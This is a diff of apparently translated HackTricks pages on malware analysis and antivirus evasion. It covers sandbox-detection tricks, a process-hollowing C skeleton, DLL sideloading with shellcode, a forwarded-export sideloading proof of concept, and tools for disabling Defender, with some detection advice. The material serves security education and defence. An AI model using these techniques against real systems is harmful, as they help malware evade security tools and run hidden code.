| RegOpenKeyEx() | CopyFile() | CreateService() |
@ -38,107 +42,124 @@
| CryptDecrypt() |
| CryptReleaseContext() |
### 反分析/虚拟机
### 反分析/VM
| 函数名 | 汇编指令 |
| --------------------------------------------------- | --------------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[检查进程是否在运行\] | |
| CreateFileW/A \[检查文件是否存在\] | |
| 函数名 | 汇编指令 |
| ------------------------------------------------- | -------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Check if a process is running] | |
| CreateFileW/A \[Check if a file exist] | |
### 隐匿
### Emulator API fingerprinting & sleep evasion
| 名称 | |
Malware 经常通过搜索 Defender 的虚拟化导出(见 Malware Protection Emulator来指纹化 sandbox emulators。如果检测到这些符号中的任何一个对进程进行大小写不敏感的扫描执行会被延迟 1030 分钟并重新检查,以浪费分析时间。
作为检测用的 API 名称示例:
- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
- `VFS_*` 系列:`VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
典型的延迟原语(用户态):
```cmd
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
```
Argument gatekeeping
- 操作员有时要求在运行 payload 之前存在一个看起来无害的 CLI 开关(例如 `/i:--type=renderer` 用于模拟 Chromium 子进程。如果缺少该开关loader 会立即退出,从而阻止简单的沙箱执行。
### Stealth
| Name | |
| ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | 分配内存 (打包器) |
| VirtualProtect | 更改内存权限 (打包器给予某个部分执行权限) |
| ReadProcessMemory | 注入到外部进程 |
| WriteProcessMemoryA/W | 注入到外部进程 |
| VirtualAlloc | 分配内存 (packers) |
| VirtualProtect | 更改内存权限 (packer giving execution permission to a section) |
| ReadProcessMemory | 注入到外部进程 |
| WriteProcessMemoryA/W | 注入到外部进程 |
| NtWriteVirtualMemory | |
| CreateRemoteThread | DLL/进程注入... |
| CreateRemoteThread | DLL/Process injection... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W | |
### 执行
### Execution
| 函数名称 |
| ------------ |
| Function Name |
| ---------------- |
| CreateProcessA/W |
| ShellExecute |
| WinExec |
| ResumeThread |
| NtResumeThread |
### 其他
### Miscellaneous
- GetAsyncKeyState() -- 键记录
- SetWindowsHookEx -- 键记录
- GetForeGroundWindow -- 获取正在运行窗口名称(或浏览器中的网站)
- GetAsyncKeyState() -- 键记录
- SetWindowsHookEx -- 键记录
- GetForeGroundWindow -- 获取运行窗口名称(或浏览器中的网站)
- LoadLibrary() -- 导入库
- GetProcAddress() -- 导入库
- CreateToolhelp32Snapshot() -- 列出正在运行的进程
- CreateToolhelp32Snapshot() -- 列出运行的进程
- GetDC() -- 截图
- BitBlt() -- 截图
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 访问互联网
- FindResource(), LoadResource(), LockResource() -- 访问可执行文件的资源
## 恶意软件技术
## Malware Techniques
### DLL 注入
### DLL Injection
在另一个进程中执行任意 DLL
Execute an arbitrary DLL inside another process
1. 定位要注入恶意 DLL 的进程CreateToolhelp32Snapshot, Process32First, Process32Next
2. 打开进程GetModuleHandle, GetProcAddress, OpenProcess
3. 在进程中写入 DLL 的路径VirtualAllocEx, WriteProcessMemory
4. 在进程中创建一个线程以加载恶意 DLLCreateRemoteThread, LoadLibrary
2. 打开进程GetModuleHandle, GetProcAddress, OpenProcess
3. 在进程内写入 DLL 路径VirtualAllocEx, WriteProcessMemory
4. 在进程中创建一个将加载恶意 DLL 的线程CreateRemoteThread, LoadLibrary
其他可用的函数:NTCreateThreadEx, RtlCreateUserThread
Other functions to use: NTCreateThreadEx, RtlCreateUserThread
### 反射 DLL 注入
### Reflective DLL Injection
在不调用正常 Windows API 调用的情况下加载恶意 DLL。\
DLL 在进程中映射,它将解析导入地址,修复重定位并调用 DllMain 函数。
Load a malicious DLL without calling normal Windows API calls.\
The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.
### 线程劫持
### Thread Hijacking
从进程中找到一个线程并使其加载恶意 DLL
Find a thread from a process and make it load a malicious DLL
1. 找到目标线程CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. 打开线程OpenThread
3. 暂停线程SuspendThread
4. 在受害者进程中写入恶意 DLL 的路径VirtualAllocEx, WriteProcessMemory
3. 挂起线程SuspendThread
4. 在受害进程内写入恶意 DLL 的路径VirtualAllocEx, WriteProcessMemory
5. 恢复线程以加载库ResumeThread
### PE 注入
### PE Injection
可移植执行注入:可执行文件将被写入受害者进程的内存中,并从那里执行。
Portable Execution Injection: 可执行文件将被写入受害进程内存并从那里执行。
### 进程空洞化 (又名 **RunPE**)
### Process Hollowing (a.k.a **RunPE**)
`Process Hollowing` 是 Windows 恶意软件常用的 **防御规避/执行** 技巧之一。其思想是在 **挂起** 状态下启动一个 *合法* 进程,移除(空洞)其原始映像并在其位置复制一个 **任意 PE**。当主线程最终恢复时,恶意入口点在受信任的二进制文件的伪装下执行(通常由 Microsoft 签名)。
`Process Hollowing` is one of the favourite **defence-evasion / execution** tricks used by Windows malware. The idea is to launch a *legitimate* process in the **suspended** state, remove (hollow) its original image from memory and copy an **arbitrary PE** in its place. When the primary thread is finally resumed the malicious entry-point executes under the guise of a trusted binary (often signed by Microsoft).
典型工作流程:
1. 生成一个 benign host例如 `RegAsm.exe`, `rundll32.exe`, `msbuild.exe` **挂起**,以便尚未运行任何指令。
1. 启动一个良性宿主(例如 `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`)并置于挂起状态,这样还不会执行任何指令。
```c
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
```
2. 将恶意有效载荷读入内存并解析其 PE 头以获取 `SizeOfImage`、节和新的 `EntryPoint`
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** 取消映射挂起进程的原始映像基址
4. **VirtualAllocEx** 在远程进程中保留 RWX 内存的 `SizeOfImage`
5. **WriteProcessMemory** 首先复制 `Headers`,然后遍历节复制其原始数据。
6. **SetThreadContext** 在上下文结构中修补 `EAX/RAX`(在 x64 中为 `RCX`)或 `Rip` 的值,以便 `EIP` 指向有效载荷`EntryPoint`
7. **ResumeThread** 线程继续执行攻击者提供的代码。
2. 将恶意 payload 读取到内存并解析其 PE 头以获取 `SizeOfImage`、节和新的 `EntryPoint`
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** 解除挂起进程的原始映像基址映射
4. **VirtualAllocEx** 在远程进程内部为 `SizeOfImage` 保留 RWX 内存
5. **WriteProcessMemory** 先复制 `Headers`,然后遍历各节并复制它们的原始数据。
6. **SetThreadContext** 修补上下文结构中 `EAX/RAX`x64 为 `RCX`)或 `Rip` 的值,使 `EIP` 指向 payload `EntryPoint`
7. **ResumeThread** 线程继续执行,运行攻击者提供的代码。
最小的概念验证 (x86) 骨架:
Minimal proof-of-concept (x86) skeleton:
```c
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
// 1. create suspended process
@ -164,27 +185,31 @@ SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
}
```
在**DarkCloud Stealer**活动中观察到的实用笔记:
**DarkCloud Stealer** 活动中观察到的实用笔记:
* 加载器选择了`RegAsm.exe`.NET Framework的一部分作为宿主——一个不太可能引起注意的签名二进制文件
* 解密的VB6窃取器`holographies.exe`*不*会被写入磁盘;它仅存在于被挖空的进程中,使静态检测变得更加困难。
* 敏感字符串(正则表达式、路径、Telegram凭证是**RC4加密**的,每个字符串在运行时才解密,进一步复杂化了内存扫描
* loader 选择 `RegAsm.exe`(属于 .NET Framework作为宿主 —— 一个签名的二进制文件,不太可能引起注意
* 解密后的 VB6 stealer (`holographies.exe`) *不会* 被写入磁盘;它仅存在于 hollowed process 中,这使得静态检测更加困难。
* 敏感字符串(regexes、paths、Telegram credentials对每个字符串使用 **RC4** 加密,并且仅在 runtime 时解密,进一步增加 memory scanning 的难度
检测思路:
* 对于在分配内存区域为**RWX**良性代码中罕见之前从未创建GUI/控制台窗口的`CREATE_SUSPENDED`进程发出警报。
* 在不同进程中查找调用序列`NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory`
* 对那些创建后处于 `CREATE_SUSPENDED` 且在被分配为 **RWX** 内存区域之前从未创建 GUI/console 窗口的进程触发告警(良性代码很少这样)。
* 在不同进程之间寻找调用序列 `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory`
## Hooking
- **SSDT****系统服务描述符表**指向内核函数ntoskrnl.exe或GUI驱动程序win32k.sys以便用户进程可以调用这些函数。
- Rootkit可能会修改这些指针使其指向他控制的地址。
- **IRP****I/O请求数据包**在组件之间传输数据。内核中的几乎所有内容都使用IRP每个设备对象都有自己的函数表可以被hookDKOM直接内核对象操作
- **IAT****导入地址表**用于解析依赖关系。可以hook此表以劫持将被调用的代码。
- **EAT****导出地址表**Hook。这种hook可以在**用户态**中完成。目标是hook DLL导出的函数。
- **内联Hook**这种类型的hook难以实现。这涉及到修改函数本身的代码。可能通过在函数开头放置一个跳转来实现
- **SSDT** (**System Service Descriptor Table**) 指向内核函数 (ntoskrnl.exe) 或 GUI 驱动 (win32k.sys),因此用户进程可以调用这些函数。
- rootkit 可能修改这些指针,使其指向攻击者可控的地址。
- **IRP** (**I/O Request Packets**) 将数据片段从一个组件传递到另一个组件。内核中几乎所有东西都使用 IRPs并且每个 device object 都有自己的函数表,可以被 hookDKOM (Direct Kernel Object Manipulation)
- **IAT** (**Import Address Table**) 有助于解析依赖关系。可以 hook 该表以劫持将被调用的代码。
- **EAT** (**Export Address Table**) Hooks。此类 hooks 可以在 **userland** 中完成。目标是 hook DLL 导出的函数。
- **Inline Hooks**:这类较难实现。涉及修改函数本身的代码,例如在函数开头放置一个 jump
## 参考
## References
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Check Point Research Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,80 +1,80 @@
# Antivirus (AV) Bypass
# 杀毒软件 (AV) 绕过
{{#include ../banners/hacktricks-training.md}}
**本页作者:** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
**本页面由** [**@m2rc_p**](https://twitter.com/m2rc_p)**撰写!**
## Stop Defender
## 停止 Defender
- [defendnot](https://github.com/es3n1n/defendnot):一个用于停止 Windows Defender 正常工作的工具。
- [no-defender](https://github.com/es3n1n/no-defender)通过伪装成另一个 AV 来停止 Windows Defender 工作的工具。
- [defendnot](https://github.com/es3n1n/defendnot): 用于停止 Windows Defender 工作的工具。
- [no-defender](https://github.com/es3n1n/no-defender): 通过伪装成另一个 AV 来停止 Windows Defender 工作的工具。
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
## **AV 绕过方法论**
目前AVs 会使用不同的方法来判断文件是否恶意static detection、dynamic analysis以及对于更高级的 EDRs还会有 behavioural analysis
目前AVs 使用不同的方法来判断文件是否为恶意文件:静态检测、动态分析,以及对于更高级的 EDRs还有行为分析
### **Static detection**
Static detection 是通过在二进制或脚本中标记已知的恶意字符串或字节数组来实现的,同时也会从文件本身提取信息(例如 file description、company name、digital signatures、icon、checksum 等)。这意味着使用已知的公共工具可能更容易被发现,因为这些工具很可能已经被分析并标记为恶意。针对这类检测有几种常见的规避方法:
静态检测是通过标记二进制或脚本中已知的恶意字符串或字节数组来实现的,同时还会从文件本身提取信息(例如 file description、company name、digital signatures、icon、checksum 等)。这意味着使用已知的公共工具更容易被发现,因为它们很可能已被分析并被标记为恶意。有几种绕过这类检测的方法:
- **Encryption**
如果你对二进制文件进行加密AV 就无法检测到你的程序,但你需要某种 loader 在内存中解密并运行该程序。
如果你对二进制进行加密AV 将无法检测到你的程序,但你需要某种 loader 在内存中解密并运行该程序。
- **Obfuscation**
有时只需更改二进制或脚本中的一些字符串即可绕过 AV但这可能是一项耗时的工作,具体取决于你要混淆的内容。
有时候你只需更改二进制或脚本中的一些字符串即可绕过 AV但这可能是一个耗时的工作,取决于你试图混淆的内容。
- **Custom tooling**
如果你自己开发工具,就不会有已知的恶意签名,但这需要大量时间和精力。
如果你开发自己的工具,就不会有已知的恶意签名,但这需要大量时间和精力。
> [!TIP]
> 检查 Windows Defender static detection 的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件分割成多个片段,然后让 Defender 单独扫描每个片段,这样可以准确告诉你二进制中被标记的字符串或字节。
> 检查 Windows Defender 静态检测的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件拆分为多个片段,然后让 Defender 单独扫描每个片段,这样就能准确告诉你二进制中被标记的字符串或字节是什么
强烈建议查看这个关于实用 AV Evasion 的 [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)。
强烈推荐查看这个关于实用 AV 绕过的 [YouTube 播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)。
### **Dynamic analysis**
Dynamic analysis 是指 AV 在沙箱中运行你的二进制并监视恶意活动(例如尝试解密并读取浏览器密码、对 LSASS 执行 minidump 等)。这部分可能更难对付,但可以通过以下方式来规避沙箱。
动态分析是指 AV 在沙箱中运行你的二进制并观察是否有恶意行为(例如尝试解密并读取浏览器密码、对 LSASS 进行 minidump 等)。这部分可能更难对付,但你可以采取以下一些措施来规避沙箱。
- **Sleep before execution** 根据实现方式不同,这可能是绕过 AV dynamic analysis 的好方法。AV 的扫描时间通常很短以免打断用户工作流,所以使用较长的 sleep 可以干扰二进制的分析。但问题是许多 AV 的沙箱可以根据实现方式跳过 sleep
- **Checking machine's resources** 通常沙箱可用的资源很少(例如 < 2GB RAM否则会影响用户机器的性能你也可以在这方面发挥创意例如检查 CPU 温度或风扇转速沙箱并非会实现所有检测项
- **Machine-specific checks** 如果你想针对某位加入到 "contoso.local" 域的用户,你可以检查计算机的域是否匹配指定值,如果不匹配就让程序退出。
- **在执行前休眠** 根据沙箱的实现方式,这可能是绕过 AV 动态分析的好方法。AV 为了不打断用户工作流,扫描文件的时间通常很短,所以使用较长的休眠可以扰乱二进制的分析。但问题是,许多 AV 的沙箱可以根据实现方式跳过休眠
- **检查机器资源** 通常沙箱可用的资源非常有限(例如 < 2GB RAM否则会拖慢用户的机器你也可以在这里发挥创意例如检查 CPU 温度或风扇转速沙箱未必实现所有这些检测
- **机器特定检查** 如果你想攻击一台加入了 "contoso.local" 域的工作站,你可以检查计算机的域是否与指定的匹配,如果不匹配,可以让程序退出。
事实证明Microsoft Defender 的 Sandbox computername 是 HAL9TH所以你可以在恶意程序触发前检查计算机名如果名字匹配 HAL9TH说明你在 defender 的沙箱内,这时可以让程序退出。
事实证明 Microsoft Defender 的 Sandbox 计算机名是 HAL9TH因此在触发之前可以检查机器名如果为 HAL9TH说明你处在 Defender 的沙箱中,就可以让程序退出。
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
<figure><img src="../images/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
以下是来自 [@mgeeky](https://twitter.com/mariuszbit) 的一些对抗 Sandboxes 的优秀建议
以下是来自 [@mgeeky](https://twitter.com/mariuszbit) 关于对抗沙箱的一些非常好的建议
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
正如我们在本文前面所述,**public tools** 最终会被 **detected**,所以你应该自问
正如我们在本帖前面所说,**public tools** 最终会被 **get detected**,所以你应该问自己一个问题
例如,如果你想 dump LSASS**真的必须使用 mimikatz 吗**?还是可以使用一个不那么知名但同样可以 dump LSASS 的项目?
例如,如果你想 dump LSASS**你真的需要使用 mimikatz 吗**?还是可以使用一个不太知名但也能 dump LSASS 的其他项目。
更合适的答案很可能是后者。以 mimikatz 为例,它可能是 AVs 和 EDRs 标记最多的工具之一,虽然项目本身很酷,但在规避 AV 时使用它会非常头疼,所以为你要实现的目标寻找替代方案会更好
正确的答案很可能是后者。以 mimikatz 为例,它可能是 AVs 和 EDRs 标记最多的工具之一,虽然该项目本身很棒,但在绕过 AV 时非常难处理,所以只要寻找替代方案以实现你的目标即可
> [!TIP]
> 在为 evasion 修改 payloads 时,确保在 Defender 中**关闭自动样本提交**,并且请注意,**DO NOT UPLOAD TO VIRUSTOTAL**,如果你的目标是长期实现 evasion。如果你想检查某个 AV 是否会检测你的 payload建议在 VM 上安装该 AV尝试关闭自动样本提交并在该环境中测试直到满意为止。
> 在为绕过而修改你的 payloads 时,确保在 Defender 中**关闭自动样本提交**,并且请认真对待,**不要上传到 VIRUSTOTAL**DO NOT UPLOAD TO VIRUSTOTAL如果你的目标是长期实现绕过的话。如果你想检查某个 AV 是否会检测到你的 payload在 VM 上安装该 AV尝试关闭自动样本提交然后在该环境中测试直到你满意为止。
## EXEs vs DLLs
只要可能,始终**优先使用 DLL 来进行 evasion**根据我的经验DLL 文件通常**被检测和分析的概率远低于 EXE**,所以这是在某些情况下避免检测的一个非常简单的技巧(前提是你的 payload 有办法以 DLL 形式运行)
只要可能,始终**优先使用 DLLs 来进行绕过**根据我的经验DLL 文件通常**被检测和分析的概率远低于 EXE**,所以在某些情况下(如果你的 payload 可以以 DLL 形式运行)这是一个非常简单的规避技巧
如图所示,来自 Havoc 的一个 DLL Payload 在 antiscan.me 的检测率为 4/26而 EXE payload 的检测率为 7/26。
如图所示,Havoc 的 DLL payload 在 antiscan.me 的检测率为 4/26而 EXE payload 的检测率为 7/26。
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me 对比:普通 Havoc EXE payload vs 普通 Havoc DLL</p></figcaption></figure>
下面我们将展示一些可用于让 DLL 文件更隐蔽的技巧。
下面我们将展示一些可以与 DLL 文件配合使用以提高隐蔽性的技巧。
## DLL Sideloading & Proxying
**DLL Sideloading** 利用 loader 使用的 DLL 搜索顺序,通过将易受害的应用程序与恶意 payload 放在相同目录下,从而进行劫持
**DLL Sideloading** 利用 loader 使用的 DLL 搜索顺序,通过将受害应用程序和恶意 payload 放置在一起实现旁路
你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和以下 powershell 脚本来检查哪些程序易受 DLL Sideloading 影响
你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和下面的 powershell 脚本来检测易受 DLL Sideloading 影响的程序
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
@ -83,61 +83,63 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
此命令将输出位于 "C:\Program Files\\" 中易受 DLL hijacking 的程序列表,以及它们尝试加载的 DLL 文件。
我强烈建议你 **explore DLL Hijackable/Sideloadable programs yourself**,如果正确实施,该技术相当隐蔽,但如果你使用公开已知的 DLL Sideloadable programs,可能很容易被发现。
我强烈建议你 **explore DLL Hijackable/Sideloadable programs yourself**。如果正确实施,这种技术相当隐蔽,但如果使用公开已知的 DLL Sideloadable 程序,可能很容易被发现。
仅仅通过放置一个与程序期望加载的名称相同的恶意 DLL 并不能保证会加载你的 payload因为程序会期望该 DLL 中包含某些特定的函数。为了解决这个问题,我们将使用另一种技术,称为 **DLL Proxying/Forwarding**
仅仅放置一个具有程序期望加载名称的恶意 DLL 并不会加载你的 payload因为程序期望该 DLL 内包含一些特定的函数。为了解决这个问题,我们将使用另一种技术,称为 **DLL Proxying/Forwarding**
**DLL Proxying** 将程序从代理(恶意DLL 发出的调用转发到原始 DLL从而保留程序功能并能够处理你的 payload 的执行。
**DLL Proxying** 将程序从代理(恶意DLL 发出的调用转发到原始 DLL从而保留程序功能并能够处理你的 payload 的执行。
我将使用来自 [@flangvik](https://twitter.com/Flangvik/) 的 [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) 项目
我将使用 [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) 项目,来自 [@flangvik](https://twitter.com/Flangvik/)
我遵循的步骤如下
以下是我遵循的步骤:
```
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
最后一个命令会给我们两个文件:一个 DLL 源代码模板,以及原始重命名的 DLL。
最后一个命令会给我们两个文件:一个 DLL 源代码模板,以及原始重命名的 DLL。
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
这些是结果:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
我们的 shellcode使用 [SGN](https://github.com/EgeBalci/sgn) 编码)和 proxy DLL 在 [antiscan.me](https://antiscan.me) 的检测率均为 0/26我会称之为成功。
我们的 shellcode使用 [SGN](https://github.com/EgeBalci/sgn) 编码)和 proxy DLL 在 [antiscan.me](https://antiscan.me) 的检测率都是 0/26我会称之为成功。
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> **强烈建议** 你观看 [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading并且也观看 [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) 以更深入了解我们讨论的内容。
> I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
### 滥用 转发导出 (ForwardSideLoading)
### 滥用 Forwarded Exports (ForwardSideLoading)
Windows PE 模块可以导出实际上是“转发器”的函数:导出条目不是指向代码,而是包含形如 `TargetDll.TargetFunc` 的 ASCII 字符串。当调用方解析该导出时Windows loader 将
Windows PE 模块可以导出实际上是 "forwarders" 的函数:导出条目不指向代码,而是包含形式为 `TargetDll.TargetFunc` 的 ASCII 字符串。当调用者解析该导出时Windows 加载器将会
- 如果尚未加载,则加载 `TargetDll`
- 从中解析 `TargetFunc`
- 加载 `TargetDll`(如果尚未加载)
- 从中解析 `TargetFunc`
需要理解的关键行为:
- 如果 `TargetDll` 是 KnownDLL则它从受保护的 KnownDLLs 命名空间中提供(例如 ntdll, kernelbase, ole32
- 如果 `TargetDll` 不是 KnownDLL则使用常规的 DLL 搜索顺序,其中包括执行转发解析的模块所在目录。
- 如果 `TargetDll` 是 KnownDLL则它从受保护的 KnownDLLs 命名空间提供例如ntdll、kernelbase、ole32
- 如果 `TargetDll` 不是 KnownDLL则使用常规的 DLL 搜索顺序,其中包括执行转发解析的模块所在目录。
使得一种间接 sideloading 原语成为可能:找到一个导出被转发到非 KnownDLL 模块名的签名 DLL然后将该签名 DLL 与一个由攻击者控制、且命名与转发目标模块完全相同的 DLL 放在同一目录下。当调用该转发导出时,加载器将解析转发并从同一目录加载你的 DLL执行你的 DllMain。
启用了一个间接的 sideloading 原语:找到一个已签名的 DLL该 DLL 导出一个被转发到非 KnownDLL 模块名的函数,然后将该已签名的 DLL 与一个由攻击者控制、且名称与转发目标模块完全相同的 DLL 放在同一目录。当转发的导出被调用时,加载器会解析该转发并从同一目录加载你的 DLL执行你的 DllMain。
在 Windows 11 上观察到的示例:
```
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
```
`NCRYPTPROV.dll` 不是 KnownDLL因此通过常规搜索顺序解析。
`NCRYPTPROV.dll` 不是 KnownDLL因此会按照常规搜索顺序解析。
PoC (copy-paste):
1) 复制签名的系统 DLL 到一个可写的文件夹
1) 复制签名的系统 DLL 到一个可写的文件夹
```
copy C:\Windows\System32\keyiso.dll C:\test\
```
2) 将一个恶意的 `NCRYPTPROV.dll` 放在相同的文件夹中。一个最小的 DllMain 就足以获得代码执行;你不需要实现被转发的函数来触发 DllMain。
2) 在相同的文件夹中放置一个恶意的 `NCRYPTPROV.dll`。一个最小的 DllMain 就足以实现代码执行;你不需要实现转发函数就能触发 DllMain。
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -149,29 +151,29 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
return TRUE;
}
```
3) 使用已签名的 LOLBin 触发转发:
3) 使用已签名的 LOLBin 触发转发
```
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Observed behavior:
- rundll32已签名加载 side-by-side `keyiso.dll`(已签名)
- rundll32已签名加载并排的 `keyiso.dll`(已签名)
- 在解析 `KeyIsoSetAuditingInterface` 时,加载器会跟随转发到 `NCRYPTPROV.SetAuditingInterface`
- 随后加载器从 `C:\test` 加载 `NCRYPTPROV.dll` 并执行其 `DllMain`
- 如果 `SetAuditingInterface` 未实现,只有在 `DllMain` 已经运行后你才会遇到 "missing API" 错误
- 随后加载器从 `C:\test` 加载 `NCRYPTPROV.dll` 并执行其 `DllMain`
- 如果 `SetAuditingInterface` 未实现,只有在 `DllMain` 已经运行之后你才会收到 "missing API" 错误
Hunting tips:
- 关注那些转发导出forwarded exports目标模块不是 KnownDLL。KnownDLLs 列在 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` 下。
- 你可以使用以下工具列举转发导出:
- 关注目标模块不是 KnownDLL 的转发导出。KnownDLLs 列在 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` 下。
- 你可以使用如下工具枚举转发导出:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
```
- 查看 Windows 11 forwarder 清单以搜索候选项: https://hexacorn.com/d/apis_fwd.txt
检测/防御 思路:
- 监控 LOLBins (例如rundll32.exe) 从非系统路径加载已签名的 DLL然后从该目录加载具有相同基名的 non-KnownDLLs
- 对如下进程/模块链发出告警: `rundll32.exe` → 非系统 `keyiso.dll``NCRYPTPROV.dll` 位于用户可写路径下
- 实施代码完整性策略 (WDAC/AppLocker),并在应用程序目录中拒绝写+执行权限
检测/防御建议:
- 监视 LOLBins (例如 rundll32.exe) 从非系统路径加载签名 DLL然后从该目录加载具有相同基名的非-KnownDLLs
- 对如下进程/模块链发出警报: `rundll32.exe` → non-system `keyiso.dll``NCRYPTPROV.dll` 位于用户可写路径下
- 强制执行代码完整性策略 (WDAC/AppLocker),并在应用程序目录中禁止写入+执行
## [**Freeze**](https://github.com/optiv/Freeze)
@ -187,13 +189,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
> 对抗只是一场猫捉老鼠的游戏,今天有效的方法明天可能会被检测到,所以不要只依赖单一工具,尽可能将多种 evasion techniques 串联使用
> Evasion 是一个猫捉老鼠的游戏,今天有效的方法明天可能会被检测到,所以不要只依赖单一工具,若可能,尽量串联多种 evasion techniques
## AMSI (Anti-Malware Scan Interface)
## AMSI (反恶意软件扫描接口)
AMSI 是为防止 "fileless malware" 而创建的。最初AVs 只能扫描磁盘上的文件,因此如果你能以某种方式直接在内存中执行 payloadsAV 就无法阻止,因为它没有足够的可见性
AMSI 是为防止 "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)" 而创建的。最初AVs 只能扫描 **files on disk**,因此如果你能以某种方式将 payloads **directly in-memory** 执行AV 就无法阻止,因为其可视性不足
AMSI 功能集成在 Windows 的以下组件中。
The AMSI feature is integrated into these components of Windows.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
@ -201,39 +203,39 @@ AMSI 功能集成在 Windows 的以下组件中。
- JavaScript and VBScript
- Office VBA macros
它通过以未加密且未混淆的形式暴露脚本内容,允许防病毒解决方案检查脚本行为。
允许防病毒解决方案通过以未加密且未混淆的形式暴露脚本内容检查脚本行为。
